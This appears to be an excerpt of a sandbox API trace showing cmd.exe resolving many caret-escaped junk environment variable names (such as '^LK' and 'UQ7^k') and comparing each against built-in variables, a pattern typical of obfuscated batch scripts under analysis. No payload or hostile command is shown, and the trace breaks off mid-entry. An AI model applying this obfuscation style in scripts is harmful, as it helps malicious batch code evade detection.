(_String1="^LK", _String2="DATE") returned -6 [0085.560] _wcsicmp (_String1="^LK", _String2="TIME") returned -22 [0085.560] _wcsicmp (_String1="^LK", _String2="RANDOM") returned -20 [0085.560] _wcsicmp (_String1="^LK", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.560] GetEnvironmentVariableW (in: lpName="UQ7^k", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="CD") returned 18 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="ERRORLEVEL") returned 16 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="CMDEXTVERSION") returned 18 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="CMDCMDLINE") returned 18 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="DATE") returned 17 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="TIME") returned 1 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="RANDOM") returned 3 [0085.561] _wcsicmp (_String1="UQ7^k", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.561] GetEnvironmentVariableW (in: lpName="^J^F^O6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="CD") returned -5 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="ERRORLEVEL") returned -7 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="CMDEXTVERSION") returned -5 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="CMDCMDLINE") returned -5 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="DATE") returned -6 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="TIME") returned -22 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="RANDOM") returned -20 [0085.561] _wcsicmp (_String1="^J^F^O6", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.562] GetEnvironmentVariableW (in: lpName="bv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.562] _wcsicmp (_String1="bv", _String2="CD") returned -1 [0085.562] _wcsicmp (_String1="bv", _String2="ERRORLEVEL") returned -3 [0085.562] _wcsicmp (_String1="bv", _String2="CMDEXTVERSION") returned -1 [0085.562] _wcsicmp (_String1="bv", _String2="CMDCMDLINE") returned -1 [0085.562] _wcsicmp (_String1="bv", _String2="DATE") returned -2 [0085.562] _wcsicmp (_String1="bv", _String2="TIME") returned -18 [0085.562] _wcsicmp (_String1="bv", _String2="RANDOM") returned -16 [0085.562] _wcsicmp (_String1="bv", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.562] GetEnvironmentVariableW (in: lpName="us6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.562] _wcsicmp (_String1="us6", _String2="CD") returned 18 [0085.562] _wcsicmp (_String1="us6", _String2="ERRORLEVEL") returned 16 [0085.562] _wcsicmp (_String1="us6", _String2="CMDEXTVERSION") returned 18 [0085.562] _wcsicmp (_String1="us6", _String2="CMDCMDLINE") returned 18 [0085.562] _wcsicmp (_String1="us6", _String2="DATE") returned 17 [0085.562] _wcsicmp (_String1="us6", _String2="TIME") returned 1 [0085.562] _wcsicmp (_String1="us6", _String2="RANDOM") returned 3 [0085.562] _wcsicmp (_String1="us6", _String2="HIGHESTNUMANODENUMBER") returned 13 [0085.563] GetEnvironmentVariableW (in: lpName="^c^wH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.563] _wcsicmp (_String1="^c^wH", _String2="CD") returned -5 [0085.563] _wcsicmp (_String1="^c^wH", _String2="ERRORLEVEL") returned -7 [0085.563] _wcsicmp (_String1="^c^wH", _String2="CMDEXTVERSION") returned -5 [0085.563] _wcsicmp (_String1="^c^wH", _String2="CMDCMDLINE") returned -5 [0085.563] _wcsicmp (_String1="^c^wH", _String2="DATE") returned -6 [0085.563] _wcsicmp (_String1="^c^wH", _String2="TIME") returned -22 [0085.563] _wcsicmp (_String1="^c^wH", _String2="RANDOM") returned -20 [0085.563] _wcsicmp (_String1="^c^wH", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.563] GetEnvironmentVariableW (in: lpName="c^WSV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.563] _wcsicmp (_String1="c^WSV", _String2="CD") returned -6 [0085.563] _wcsicmp (_String1="c^WSV", _String2="ERRORLEVEL") returned -2 [0085.563] _wcsicmp (_String1="c^WSV", _String2="CMDEXTVERSION") returned -15 [0085.563] _wcsicmp (_String1="c^WSV", _String2="CMDCMDLINE") returned -15 [0085.563] _wcsicmp (_String1="c^WSV", _String2="DATE") returned -1 [0085.563] _wcsicmp (_String1="c^WSV", _String2="TIME") returned -17 [0085.563] _wcsicmp (_String1="c^WSV", _String2="RANDOM") returned -15 [0085.563] _wcsicmp (_String1="c^WSV", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.563] GetEnvironmentVariableW (in: lpName="C^d^J", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.563] _wcsicmp (_String1="C^d^J", _String2="CD") returned -6 [0085.563] _wcsicmp (_String1="C^d^J", _String2="ERRORLEVEL") returned -2 [0085.563] _wcsicmp (_String1="C^d^J", _String2="CMDEXTVERSION") returned -15 [0085.563] _wcsicmp (_String1="C^d^J", _String2="CMDCMDLINE") returned -15 [0085.563] _wcsicmp (_String1="C^d^J", _String2="DATE") returned -1 [0085.564] _wcsicmp (_String1="C^d^J", _String2="TIME") returned -17 [0085.564] _wcsicmp (_String1="C^d^J", _String2="RANDOM") returned -15 [0085.564] _wcsicmp (_String1="C^d^J", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.564] GetEnvironmentVariableW (in: lpName="G^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.564] _wcsicmp (_String1="G^Y", _String2="CD") returned 4 [0085.564] _wcsicmp (_String1="G^Y", _String2="ERRORLEVEL") returned 2 [0085.564] _wcsicmp (_String1="G^Y", _String2="CMDEXTVERSION") returned 4 [0085.564] _wcsicmp (_String1="G^Y", _String2="CMDCMDLINE") returned 4 [0085.564] _wcsicmp (_String1="G^Y", _String2="DATE") returned 3 [0085.564] _wcsicmp (_String1="G^Y", _String2="TIME") returned -13 [0085.564] _wcsicmp (_String1="G^Y", _String2="RANDOM") returned -11 [0085.564] _wcsicmp (_String1="G^Y", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.564] GetEnvironmentVariableW (in: lpName="^q0^C^c", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="CD") returned -5 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="ERRORLEVEL") returned -7 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="CMDEXTVERSION") returned -5 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="CMDCMDLINE") returned -5 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="DATE") returned -6 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="TIME") returned -22 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="RANDOM") returned -20 [0085.564] _wcsicmp (_String1="^q0^C^c", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.564] GetEnvironmentVariableW (in: lpName="^e^yWN", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="CD") returned -5 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="ERRORLEVEL") returned -7 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="CMDEXTVERSION") returned -5 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="CMDCMDLINE") returned -5 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="DATE") returned -6 [0085.564] _wcsicmp (_String1="^e^yWN", _String2="TIME") returned -22 [0085.565] _wcsicmp (_String1="^e^yWN", _String2="RANDOM") returned -20 [0085.565] _wcsicmp (_String1="^e^yWN", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.565] GetEnvironmentVariableW (in: lpName="^Z^HTE", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="CD") returned -5 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="ERRORLEVEL") returned -7 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="CMDEXTVERSION") returned -5 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="CMDCMDLINE") returned -5 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="DATE") returned -6 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="TIME") returned -22 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="RANDOM") returned -20 [0085.565] _wcsicmp (_String1="^Z^HTE", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.565] GetEnvironmentVariableW (in: lpName="G1^yS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.565] _wcsicmp (_String1="G1^yS", _String2="CD") returned 4 [0085.565] _wcsicmp (_String1="G1^yS", _String2="ERRORLEVEL") returned 2 [0085.565] _wcsicmp (_String1="G1^yS", _String2="CMDEXTVERSION") returned 4 [0085.565] _wcsicmp (_String1="G1^yS", _String2="CMDCMDLINE") returned 4 [0085.565] _wcsicmp (_String1="G1^yS", _String2="DATE") returned 3 [0085.565] _wcsicmp (_String1="G1^yS", _String2="TIME") returned -13 [0085.565] _wcsicmp (_String1="G1^yS", _String2="RANDOM") returned -11 [0085.565] _wcsicmp (_String1="G1^yS", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.565] GetEnvironmentVariableW (in: lpName="^ep3A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.565] _wcsicmp (_String1="^ep3A", _String2="CD") returned -5 [0085.565] _wcsicmp (_String1="^ep3A", _String2="ERRORLEVEL") returned -7 [0085.565] _wcsicmp (_String1="^ep3A", _String2="CMDEXTVERSION") returned -5 [0085.565] _wcsicmp (_String1="^ep3A", _String2="CMDCMDLINE") returned -5 [0085.565] _wcsicmp (_String1="^ep3A", _String2="DATE") returned -6 [0085.565] _wcsicmp (_String1="^ep3A", _String2="TIME") returned -22 [0085.565] _wcsicmp (_String1="^ep3A", _String2="RANDOM") returned -20 [0085.565] _wcsicmp (_String1="^ep3A", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.566] GetEnvironmentVariableW (in: lpName="^ir^1^V", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="CD") returned -5 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="ERRORLEVEL") returned -7 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="CMDEXTVERSION") returned -5 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="CMDCMDLINE") returned -5 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="DATE") returned -6 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="TIME") returned -22 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="RANDOM") returned -20 [0085.566] _wcsicmp (_String1="^ir^1^V", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.566] GetEnvironmentVariableW (in: lpName="l^6e", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.566] _wcsicmp (_String1="l^6e", _String2="CD") returned 9 [0085.566] _wcsicmp (_String1="l^6e", _String2="ERRORLEVEL") returned 7 [0085.566] _wcsicmp (_String1="l^6e", _String2="CMDEXTVERSION") returned 9 [0085.566] _wcsicmp (_String1="l^6e", _String2="CMDCMDLINE") returned 9 [0085.566] _wcsicmp (_String1="l^6e", _String2="DATE") returned 8 [0085.566] _wcsicmp (_String1="l^6e", _String2="TIME") returned -8 [0085.566] _wcsicmp (_String1="l^6e", _String2="RANDOM") returned -6 [0085.566] _wcsicmp (_String1="l^6e", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.566] GetEnvironmentVariableW (in: lpName="Zz^t", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.566] _wcsicmp (_String1="Zz^t", _String2="CD") returned 23 [0085.566] _wcsicmp (_String1="Zz^t", _String2="ERRORLEVEL") returned 21 [0085.566] _wcsicmp (_String1="Zz^t", _String2="CMDEXTVERSION") returned 23 [0085.566] _wcsicmp (_String1="Zz^t", _String2="CMDCMDLINE") returned 23 [0085.566] _wcsicmp (_String1="Zz^t", _String2="DATE") returned 22 [0085.566] _wcsicmp (_String1="Zz^t", _String2="TIME") returned 6 [0085.566] _wcsicmp (_String1="Zz^t", _String2="RANDOM") returned 8 [0085.566] _wcsicmp (_String1="Zz^t", _String2="HIGHESTNUMANODENUMBER") returned 18 [0085.567] GetEnvironmentVariableW (in: lpName="^BW7", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.567] _wcsicmp (_String1="^BW7", _String2="CD") returned -5 [0085.567] _wcsicmp (_String1="^BW7", _String2="ERRORLEVEL") returned -7 [0085.567] _wcsicmp (_String1="^BW7", _String2="CMDEXTVERSION") returned -5 [0085.567] _wcsicmp (_String1="^BW7", _String2="CMDCMDLINE") returned -5 [0085.567] _wcsicmp (_String1="^BW7", _String2="DATE") returned -6 [0085.567] _wcsicmp (_String1="^BW7", _String2="TIME") returned -22 [0085.567] _wcsicmp (_String1="^BW7", _String2="RANDOM") returned -20 [0085.567] _wcsicmp (_String1="^BW7", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.567] GetEnvironmentVariableW (in: lpName="LI^j", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.567] _wcsicmp (_String1="LI^j", _String2="CD") returned 9 [0085.567] _wcsicmp (_String1="LI^j", _String2="ERRORLEVEL") returned 7 [0085.567] _wcsicmp (_String1="LI^j", _String2="CMDEXTVERSION") returned 9 [0085.567] _wcsicmp (_String1="LI^j", _String2="CMDCMDLINE") returned 9 [0085.567] _wcsicmp (_String1="LI^j", _String2="DATE") returned 8 [0085.567] _wcsicmp (_String1="LI^j", _String2="TIME") returned -8 [0085.567] _wcsicmp (_String1="LI^j", _String2="RANDOM") returned -6 [0085.567] _wcsicmp (_String1="LI^j", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.567] GetEnvironmentVariableW (in: lpName="^aMG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.567] _wcsicmp (_String1="^aMG", _String2="CD") returned -5 [0085.567] _wcsicmp (_String1="^aMG", _String2="ERRORLEVEL") returned -7 [0085.567] _wcsicmp (_String1="^aMG", _String2="CMDEXTVERSION") returned -5 [0085.567] _wcsicmp (_String1="^aMG", _String2="CMDCMDLINE") returned -5 [0085.567] _wcsicmp (_String1="^aMG", _String2="DATE") returned -6 [0085.567] _wcsicmp (_String1="^aMG", _String2="TIME") returned -22 [0085.567] _wcsicmp (_String1="^aMG", _String2="RANDOM") returned -20 [0085.567] _wcsicmp (_String1="^aMG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.567] GetEnvironmentVariableW (in: lpName="I1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.568] _wcsicmp (_String1="I1", _String2="CD") returned 6 [0085.568] _wcsicmp (_String1="I1", _String2="ERRORLEVEL") returned 4 [0085.568] _wcsicmp (_String1="I1", _String2="CMDEXTVERSION") returned 6 [0085.568] _wcsicmp (_String1="I1", _String2="CMDCMDLINE") returned 6 [0085.568] _wcsicmp (_String1="I1", _String2="DATE") returned 5 [0085.568] _wcsicmp (_String1="I1", _String2="TIME") returned -11 [0085.568] _wcsicmp (_String1="I1", _String2="RANDOM") returned -9 [0085.568] _wcsicmp (_String1="I1", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.568] GetEnvironmentVariableW (in: lpName="J^6", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.568] _wcsicmp (_String1="J^6", _String2="CD") returned 7 [0085.568] _wcsicmp (_String1="J^6", _String2="ERRORLEVEL") returned 5 [0085.568] _wcsicmp (_String1="J^6", _String2="CMDEXTVERSION") returned 7 [0085.568] _wcsicmp (_String1="J^6", _String2="CMDCMDLINE") returned 7 [0085.568] _wcsicmp (_String1="J^6", _String2="DATE") returned 6 [0085.568] _wcsicmp (_String1="J^6", _String2="TIME") returned -10 [0085.568] _wcsicmp (_String1="J^6", _String2="RANDOM") returned -8 [0085.568] _wcsicmp (_String1="J^6", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.568] GetEnvironmentVariableW (in: lpName="^cN^Vz", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="CD") returned -5 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="ERRORLEVEL") returned -7 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="CMDEXTVERSION") returned -5 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="CMDCMDLINE") returned -5 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="DATE") returned -6 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="TIME") returned -22 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="RANDOM") returned -20 [0085.568] _wcsicmp (_String1="^cN^Vz", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.568] GetEnvironmentVariableW (in: lpName="C^ij", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.568] _wcsicmp (_String1="C^ij", _String2="CD") returned -6 [0085.568] _wcsicmp (_String1="C^ij", _String2="ERRORLEVEL") returned -2 [0085.569] _wcsicmp (_String1="C^ij", _String2="CMDEXTVERSION") returned -15 [0085.569] _wcsicmp (_String1="C^ij", _String2="CMDCMDLINE") returned -15 [0085.569] _wcsicmp (_String1="C^ij", _String2="DATE") returned -1 [0085.569] _wcsicmp (_String1="C^ij", _String2="TIME") returned -17 [0085.569] _wcsicmp (_String1="C^ij", _String2="RANDOM") returned -15 [0085.569] _wcsicmp (_String1="C^ij", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.569] GetEnvironmentVariableW (in: lpName="b^aCI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.569] _wcsicmp (_String1="b^aCI", _String2="CD") returned -1 [0085.569] _wcsicmp (_String1="b^aCI", _String2="ERRORLEVEL") returned -3 [0085.569] _wcsicmp (_String1="b^aCI", _String2="CMDEXTVERSION") returned -1 [0085.569] _wcsicmp (_String1="b^aCI", _String2="CMDCMDLINE") returned -1 [0085.569] _wcsicmp (_String1="b^aCI", _String2="DATE") returned -2 [0085.569] _wcsicmp (_String1="b^aCI", _String2="TIME") returned -18 [0085.569] _wcsicmp (_String1="b^aCI", _String2="RANDOM") returned -16 [0085.569] _wcsicmp (_String1="b^aCI", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.569] GetEnvironmentVariableW (in: lpName="OE^9^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="CD") returned 12 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="ERRORLEVEL") returned 10 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="CMDEXTVERSION") returned 12 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="CMDCMDLINE") returned 12 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="DATE") returned 11 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="TIME") returned -5 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="RANDOM") returned -3 [0085.569] _wcsicmp (_String1="OE^9^Q", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.569] GetEnvironmentVariableW (in: lpName="J^Z", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.569] _wcsicmp (_String1="J^Z", _String2="CD") returned 7 [0085.569] _wcsicmp (_String1="J^Z", _String2="ERRORLEVEL") returned 5 [0085.569] _wcsicmp (_String1="J^Z", _String2="CMDEXTVERSION") returned 7 [0085.569] _wcsicmp (_String1="J^Z", _String2="CMDCMDLINE") returned 7 [0085.570] _wcsicmp (_String1="J^Z", _String2="DATE") returned 6 [0085.570] _wcsicmp (_String1="J^Z", _String2="TIME") returned -10 [0085.570] _wcsicmp (_String1="J^Z", _String2="RANDOM") returned -8 [0085.570] _wcsicmp (_String1="J^Z", _String2="HIGHESTNUMANODENUMBER") returned 2 [0085.570] GetEnvironmentVariableW (in: lpName="^DG", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.570] _wcsicmp (_String1="^DG", _String2="CD") returned -5 [0085.570] _wcsicmp (_String1="^DG", _String2="ERRORLEVEL") returned -7 [0085.570] _wcsicmp (_String1="^DG", _String2="CMDEXTVERSION") returned -5 [0085.570] _wcsicmp (_String1="^DG", _String2="CMDCMDLINE") returned -5 [0085.570] _wcsicmp (_String1="^DG", _String2="DATE") returned -6 [0085.570] _wcsicmp (_String1="^DG", _String2="TIME") returned -22 [0085.570] _wcsicmp (_String1="^DG", _String2="RANDOM") returned -20 [0085.570] _wcsicmp (_String1="^DG", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.570] GetEnvironmentVariableW (in: lpName="q^Xu", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.570] _wcsicmp (_String1="q^Xu", _String2="CD") returned 14 [0085.570] _wcsicmp (_String1="q^Xu", _String2="ERRORLEVEL") returned 12 [0085.570] _wcsicmp (_String1="q^Xu", _String2="CMDEXTVERSION") returned 14 [0085.570] _wcsicmp (_String1="q^Xu", _String2="CMDCMDLINE") returned 14 [0085.570] _wcsicmp (_String1="q^Xu", _String2="DATE") returned 13 [0085.570] _wcsicmp (_String1="q^Xu", _String2="TIME") returned -3 [0085.570] _wcsicmp (_String1="q^Xu", _String2="RANDOM") returned -1 [0085.570] _wcsicmp (_String1="q^Xu", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.570] GetEnvironmentVariableW (in: lpName="^E^f", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.570] _wcsicmp (_String1="^E^f", _String2="CD") returned -5 [0085.570] _wcsicmp (_String1="^E^f", _String2="ERRORLEVEL") returned -7 [0085.570] _wcsicmp (_String1="^E^f", _String2="CMDEXTVERSION") returned -5 [0085.570] _wcsicmp (_String1="^E^f", _String2="CMDCMDLINE") returned -5 [0085.570] _wcsicmp (_String1="^E^f", _String2="DATE") returned -6 [0085.570] _wcsicmp (_String1="^E^f", _String2="TIME") returned -22 [0085.571] _wcsicmp (_String1="^E^f", _String2="RANDOM") returned -20 [0085.571] _wcsicmp (_String1="^E^f", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.571] GetEnvironmentVariableW (in: lpName="x^dNR", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.571] _wcsicmp (_String1="x^dNR", _String2="CD") returned 21 [0085.571] _wcsicmp (_String1="x^dNR", _String2="ERRORLEVEL") returned 19 [0085.571] _wcsicmp (_String1="x^dNR", _String2="CMDEXTVERSION") returned 21 [0085.571] _wcsicmp (_String1="x^dNR", _String2="CMDCMDLINE") returned 21 [0085.571] _wcsicmp (_String1="x^dNR", _String2="DATE") returned 20 [0085.571] _wcsicmp (_String1="x^dNR", _String2="TIME") returned 4 [0085.571] _wcsicmp (_String1="x^dNR", _String2="RANDOM") returned 6 [0085.571] _wcsicmp (_String1="x^dNR", _String2="HIGHESTNUMANODENUMBER") returned 16 [0085.571] GetEnvironmentVariableW (in: lpName="g^I", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.571] _wcsicmp (_String1="g^I", _String2="CD") returned 4 [0085.571] _wcsicmp (_String1="g^I", _String2="ERRORLEVEL") returned 2 [0085.571] _wcsicmp (_String1="g^I", _String2="CMDEXTVERSION") returned 4 [0085.571] _wcsicmp (_String1="g^I", _String2="CMDCMDLINE") returned 4 [0085.571] _wcsicmp (_String1="g^I", _String2="DATE") returned 3 [0085.571] _wcsicmp (_String1="g^I", _String2="TIME") returned -13 [0085.571] _wcsicmp (_String1="g^I", _String2="RANDOM") returned -11 [0085.571] _wcsicmp (_String1="g^I", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.571] GetEnvironmentVariableW (in: lpName="3^y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.571] _wcsicmp (_String1="3^y", _String2="CD") returned -48 [0085.571] _wcsicmp (_String1="3^y", _String2="ERRORLEVEL") returned -50 [0085.571] _wcsicmp (_String1="3^y", _String2="CMDEXTVERSION") returned -48 [0085.571] _wcsicmp (_String1="3^y", _String2="CMDCMDLINE") returned -48 [0085.571] _wcsicmp (_String1="3^y", _String2="DATE") returned -49 [0085.571] _wcsicmp (_String1="3^y", _String2="TIME") returned -65 [0085.571] _wcsicmp (_String1="3^y", _String2="RANDOM") returned -63 [0085.571] _wcsicmp (_String1="3^y", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.572] GetEnvironmentVariableW (in: lpName="^S^l", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.572] _wcsicmp (_String1="^S^l", _String2="CD") returned -5 [0085.572] _wcsicmp (_String1="^S^l", _String2="ERRORLEVEL") returned -7 [0085.572] _wcsicmp (_String1="^S^l", _String2="CMDEXTVERSION") returned -5 [0085.572] _wcsicmp (_String1="^S^l", _String2="CMDCMDLINE") returned -5 [0085.572] _wcsicmp (_String1="^S^l", _String2="DATE") returned -6 [0085.572] _wcsicmp (_String1="^S^l", _String2="TIME") returned -22 [0085.572] _wcsicmp (_String1="^S^l", _String2="RANDOM") returned -20 [0085.572] _wcsicmp (_String1="^S^l", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.572] GetEnvironmentVariableW (in: lpName="dn", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.572] _wcsicmp (_String1="dn", _String2="CD") returned 1 [0085.572] _wcsicmp (_String1="dn", _String2="ERRORLEVEL") returned -1 [0085.572] _wcsicmp (_String1="dn", _String2="CMDEXTVERSION") returned 1 [0085.572] _wcsicmp (_String1="dn", _String2="CMDCMDLINE") returned 1 [0085.572] _wcsicmp (_String1="dn", _String2="DATE") returned 13 [0085.572] _wcsicmp (_String1="dn", _String2="TIME") returned -16 [0085.572] _wcsicmp (_String1="dn", _String2="RANDOM") returned -14 [0085.572] _wcsicmp (_String1="dn", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.572] GetEnvironmentVariableW (in: lpName="^7^2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.572] _wcsicmp (_String1="^7^2", _String2="CD") returned -5 [0085.572] _wcsicmp (_String1="^7^2", _String2="ERRORLEVEL") returned -7 [0085.572] _wcsicmp (_String1="^7^2", _String2="CMDEXTVERSION") returned -5 [0085.572] _wcsicmp (_String1="^7^2", _String2="CMDCMDLINE") returned -5 [0085.572] _wcsicmp (_String1="^7^2", _String2="DATE") returned -6 [0085.572] _wcsicmp (_String1="^7^2", _String2="TIME") returned -22 [0085.572] _wcsicmp (_String1="^7^2", _String2="RANDOM") returned -20 [0085.572] _wcsicmp (_String1="^7^2", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.573] GetEnvironmentVariableW (in: lpName="^H8^O", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.573] _wcsicmp (_String1="^H8^O", _String2="CD") returned -5 [0085.573] _wcsicmp (_String1="^H8^O", _String2="ERRORLEVEL") returned -7 [0085.573] _wcsicmp (_String1="^H8^O", _String2="CMDEXTVERSION") returned -5 [0085.573] _wcsicmp (_String1="^H8^O", _String2="CMDCMDLINE") returned -5 [0085.573] _wcsicmp (_String1="^H8^O", _String2="DATE") returned -6 [0085.573] _wcsicmp (_String1="^H8^O", _String2="TIME") returned -22 [0085.573] _wcsicmp (_String1="^H8^O", _String2="RANDOM") returned -20 [0085.573] _wcsicmp (_String1="^H8^O", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.656] GetEnvironmentVariableW (in: lpName="q8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.656] _wcsicmp (_String1="q8", _String2="CD") returned 14 [0085.656] _wcsicmp (_String1="q8", _String2="ERRORLEVEL") returned 12 [0085.656] _wcsicmp (_String1="q8", _String2="CMDEXTVERSION") returned 14 [0085.656] _wcsicmp (_String1="q8", _String2="CMDCMDLINE") returned 14 [0085.656] _wcsicmp (_String1="q8", _String2="DATE") returned 13 [0085.656] _wcsicmp (_String1="q8", _String2="TIME") returned -3 [0085.656] _wcsicmp (_String1="q8", _String2="RANDOM") returned -1 [0085.656] _wcsicmp (_String1="q8", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.656] GetEnvironmentVariableW (in: lpName="^u5", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.656] _wcsicmp (_String1="^u5", _String2="CD") returned -5 [0085.656] _wcsicmp (_String1="^u5", _String2="ERRORLEVEL") returned -7 [0085.656] 